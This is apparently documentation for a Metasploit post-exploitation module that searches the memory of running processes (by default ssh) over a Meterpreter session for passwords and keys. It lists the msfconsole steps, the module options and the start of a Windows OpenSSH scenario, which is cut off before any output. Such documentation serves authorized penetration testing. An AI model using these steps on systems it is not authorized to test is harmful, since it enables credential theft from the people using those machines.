Vulnerable Application
This module allows for searching the memory space of running processes using Meterpreter's stdapi_sys_process_memory_search command for potentially sensitive data such as passwords.
Verification Steps
Start msfconsole
Get a Meterpreter session
Do: use post/multi/gather/memory_search
Do: set SESSION <Session ID>
Do: set PROCESS_NAMES_GLOB <process_names_regex>
Do: set PROCESS_IDS <Process ID>
Do: set REGEX <regex>
Do: run
Options
PROCESS_NAMES_GLOB
Regular expression used to target processes. (default: ssh.*)
PROCESS_IDS
Comma delimited process ID/IDs to search through. (default: nil)
REGEX
Regular expression to search for within memory. (default: publickey,password.*)
MIN_MATCH_LEN
The minimum number of bytes to match. (default: 5)
MAX_MATCH_LEN
The maximum number of bytes to match. (default: 127)
REPLACE_NON_PRINTABLE_BYTES
Replace non-printable bytes with ".". (default: true)
SAVE_LOOT
Save the memory matches to loot. (default: true)
Scenarios
Windows 10 - OpenSSH_9.4p1, OpenSSL 3.1.2 1 Aug 2023
In this scenario, the Windows target is connected to a different host using ssh.exe using the password myverysecretpassword:
